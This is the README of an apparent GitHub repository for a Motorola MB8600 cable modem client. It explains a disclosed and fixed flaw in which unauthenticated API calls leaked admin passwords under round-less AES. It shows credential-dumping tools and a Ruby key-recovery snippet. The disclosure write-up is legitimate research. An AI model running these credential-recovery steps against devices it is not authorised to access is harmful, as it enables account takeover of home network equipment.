Skip to content

numinit/moto-auth-pwn

Repository files navigation

moto-auth-pwn

A HNAP client for the Motorola MB8600 cable modem, that at one point could get into any Motorola cable modem's admin interface by exploiting a cryptographic(!!!) vulnerability. Tested on version 8600-18.2.9.

If you want to know how this worked (this was responsibly disclosed and fixed by Motorola years ago), read on here...

Setup

Get Ruby with a nix-shell. Run bundle install.

Tools

All tools default to a host of 192.168.100.1. Specify --host to override it. Use --help on any tool for help.

bin/probe

Probes GetMultipleHnaps without logging in. Outputs a raw JSON response. Should output an empty object if the API is properly secured.

Example:

$ bundle ex bin/probe -n GetHomeConnection -n GetHomeAddress | jq
{
  "GetHomeConnection": {
    "MotoHomeOnline": "Connected",
    "MotoHomeDownNum": "33",
    "MotoHomeUpNum": "4"
  },
  "GetHomeAddress": {
    "MotoHomeMacAddress": "00:40:36:AB:CD:EF",
    "MotoHomeIpAddress": "10.42.42.42",
    "MotoHomeIpv6Address": "",
    "MotoHomeSfVer": "8600-18.2.9"
  }
}

bin/rfinfo

Parses downstream and upstream channel data. Appends it to downstream.csv and upstream.csv. Used to not require login, now does.

Example:

$ bundle ex bin/rfinfo
33 downstreams written to downstream.csv
4 upstreams written to upstream.csv

bin/recover-moto-password

Dumps out all credentials on the modem given a known username (defaults to user). No password was required when this was originally implemented.

This uses a combination of logic and cryptographic vulnerabilities to decrypt credentials without a valid PrivateKey.

Example:

$ bundle ex bin/recover-moto-password
Credentials for http://192.168.100.1:
  admin : supersecret
  user : supersecret

Why?

I got bored during COVID and was tired of bad internet connectivity with everyone working from home. So I wanted to query my modem to make some graphs of how my upstream performance was doing.

The answer was "not too well for a while:"

It could have ended there, but I wanted to poke the modem and see how it responded to certain API calls. In particular, I noticed that it returned CurrentNameAdmin and CurrentPwAdmin back to the frontend when I called GetMotoStatusSecAccount, and CurrentPwAdmin looked really low entropy. Additionally, GetMotoStatusSecAccount was able to be called unauthenticated. Something smelled funny. Could we decrypt the admin password without authenticating?

I think these were ultimately used to populate the admin password field in the frontend. Sending the actual password encrypted for populating a UI element was a bold strategy.

Key recovery attack against zero rounds of AES

CurrentPwAdmin was always 4 blocks of ciphertext, and three of them were always the same.

As it turns out, it was AES-ECB of the password stored in plaintext and padded with zeroes, and the implementation was so bad that it leaked the key.

The source in their frontend for encrypting the admin password for password change operations basically looked like this, with a loop commented out.

(I got this version from here).

function AES_Encrypt(block, key) {
	var l = key.length;
	/*AES_AddRoundKey(block, key.slice(0, 16));
	for(var i = 16; i < l - 16; i += 16) {
		AES_SubBytes(block, AES_Sbox);
		AES_ShiftRows(block, AES_ShiftRowTab);
		AES_MixColumns(block);
		AES_AddRoundKey(block, key.slice(i, i + 16));
	}*/
	AES_SubBytes(block, AES_Sbox);
	AES_ShiftRows(block, AES_ShiftRowTab);
	AES_AddRoundKey(block, key.slice(i, l));
	return block;
}

If you just don't do all the rounds, you can trivially invert AES given known ciphertext, like this:

  def self.aes_ecb_without_key ct
    raise ArgumentError, "need at least two blocks" if ct.bytesize < 32

    # Assume the last block is the encryption of a bunch of zeroes
    key_block = ct.byteslice(-16..-1)
    key_block = key_block.ljust 16, "\x00".freeze
    aes_sub_bytes key_block, S_INV
    aes_shift_rows key_block, SHIFT_INV

    # We now have the key...
    ret = aes_ecb key_block, ct

    [ret, key_block]
  end

And, since the ciphertext is all zeroes, the plaintext is just the key, which you can then use to decrypt the password. 🤦

I reported this to Motorola (actually Zoom Telephonics, which is now defunct) and they fixed it, but that was 6 years ago and I guess I forgot to make this public. Rare that you see a cryptographic vuln that causes an auth bypass and password recovery, but here we are I guess.

I'm still not sure why the rounds of AES were commented out, since it needed a matching implementation on the backend, and it would have needed to be deliberate. Motorola was pretty responsive about it, though.

Feel free to peruse this source to get a feel for how it worked.

About

HNAP client for the Motorola MB8600 exploiting a (now) many year old zero day

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors